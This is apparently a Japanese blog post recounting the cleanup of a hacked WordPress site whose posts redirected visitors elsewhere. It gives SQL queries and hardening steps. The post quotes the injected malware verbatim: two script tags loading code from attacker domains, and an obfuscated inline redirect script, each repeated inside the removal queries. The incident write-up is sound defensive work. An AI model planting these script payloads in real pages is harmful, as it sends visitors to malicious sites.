【WordPress】ハッキングに遭遇。記事ページへのリンクが改ざんされ、勝手にリダイレクトしてた問題

# 環境

・WordPress 4.4.1
・Mysql 5.5

・さくらレンタルサーバー
サーバーやデータベースのパスワードなどはデフォルトのまま使用していました。
データベースには、直接、接続できないようになっていたため、sshで経由する接続する必要がありました。

※問い合わせフォームなどフロントからデータをpostされるような機能は使用していません。

# 事象

ワードプレスの記事のページに飛ぶと、
リダイレクトがたくさん走り、別のサイトに誘導される。
そのため記事ページが開けない。

## リダイレクトしていた原因

不正アクセスされ、データの改ざんが行われていました。
具体的にいうと、データベースに意図しないスクリプトファイルを読み込むコードが埋め込まれていたことが原因です。
wp_postsという記事のテーブルに埋め込まれていました。

# 不正なスクリプトの削除

## Exploit Scanner をインストール
有効化し、スキャンする。
![1.png](https://qiita-image-store.s3.amazonaws.com/0/117024/ef6171f5-59f6-9648-44a3-0943be1da7f8.png)

##文字列scriptの検索

そのまま管理画面で文字列scriptで検索すると250個ほどひっかかった。※普通にブラウザ上でctrl+fで検索。
そして、あやしいスクリプトが見つかる。
全部ではないにせよ、ほぼ全ての記事ページに散見された。
テーブルでいうとwp_postsにあたる。

    <script type='text/javascript' src='https https://con1.sometimesfree.biz/c.js'></script>

ということでこれを削除する。
かなりの量書かれているので、SQLを実行することにする。

除去した後、もう一度スキャンすると、また別のスクリプトが見つかる。

    <script src='https://traffictrade.life/scripts.js' type='text/javascript'></script>

ということでこれもSQLで除去する。
二つのupdateを実行した後で、もう一度、Exploit Scannerでスキャンを実行して文字列scriptを検索してみると、数が激減している。(54個になった)

こちらのタイプもあります。

    <script type="text/javascript">$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == "string") return $VOcl3cIRrbzlimOyC8H.list[n].split("").reverse().join("");return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=["'php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}</script>


## SQLクエリの実行

phpMyAdminかSequelProのコンソール画面、もしくはsshログイン後データベースに接続して、下記のクエリを実行してください。

※テーブルが``wp_posts``でなければ変更して下さい。

    UPDATE wp_posts SET post_content = REPLACE(post_content, '<script type=\'text/javascript\' src=\'https://con1.sometimesfree.biz/c.js\'></script>', '') WHERE INSTR(post_content, '<script type=\'text/javascript\' src=\'https://con1.sometimesfree.biz/c.js\'></script>') > 0;

    UPDATE wp_posts SET post_content = REPLACE(post_content, '<script src=\'https://traffictrade.life/scripts.js\' type=\'text/javascript\'></script>', '') WHERE INSTR(post_content, '<script src=\'https://traffictrade.life/scripts.js\' type=\'text/javascript\'></script>') > 0;

    UPDATE wp_posts SET post_content = REPLACE(post_content, '<script type=\"text/javascript\">$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == \"string\") return $VOcl3cIRrbzlimOyC8H.list[n].split(\"\").reverse().join(\"\");return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[\"\'php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}</script>', '') WHERE INSTR(post_content, '<script type=\"text/javascript\">$VOcl3cIRrbzlimOyC8H=function(n){if (typeof ($VOcl3cIRrbzlimOyC8H.list[n]) == \"string\") return $VOcl3cIRrbzlimOyC8H.list[n].split(\"\").reverse().join("");return $VOcl3cIRrbzlimOyC8H.list[n];};$VOcl3cIRrbzlimOyC8H.list=[\"\'php.sgnittes-nigulp/daol-efas/slmtog/snigulp/tnetnoc-pw/moc.reilibommi-gnitekrame//:ptth\'=ferh.noitacol.tnemucod\"];var number1=Math.floor(Math.random() * 5);if (number1==3){var delay = 15000;setTimeout($VOcl3cIRrbzlimOyC8H(0), delay);}</script>') > 0;


# 再発防止策

とりあえず、不要なスクリプトは削除できて、サイトの記事ページにアクセスしても問題なく映っていることが確認できました。
どういった形で、このようなスクリプトが埋め込まれたかまでは分かりません。
ワードプレスの管理画面からではなく、ssh接続経由でデータベースに入り込まれてインサート文でもやられた可能性が高いと思っていますが。(sshのパスワードとデータベースのパスワードが同一でした。)

他に原因として推測できる方いたら教えて頂けると助かります。

取り急ぎ、再発防止に向けて下記の対策を実施しました。

## サーバーパスワードの変更

さくらの場合、ssh、FTPのパスワードがこれにあたります。(二つともパスワード共通)

## データベース接続パスワードの変更

さくらのコントロールパネルから変更した後、
wp-config.phpのファイルも変更

## 管理画面のパスワードの変更

adminのパスワードを強固なものに変更しました。
ワードプレスの場合、どうしてもadminユーザーだけは特定されてしまうのが難点だと痛感しました。

## プラグイン「SiteGuard」の追加 

このプラグインはログインURLを変更できます。
かつパスワード認証の際に、ユーザー名とパスワードだけでなく、
無作為な文字列も入力する画像認証もついてますので、セキュリティは格段に上がりそうです。

![login.png](https://qiita-image-store.s3.amazonaws.com/0/117024/ee818f6d-3cdf-f68a-55a0-cd3d8401b969.png)



# 参考サイト

http://webfood.info/wordpress-redirect-hacking/
https://productforums.google.com/forum/#!topic/webmasters/1IT1Xg3pBwU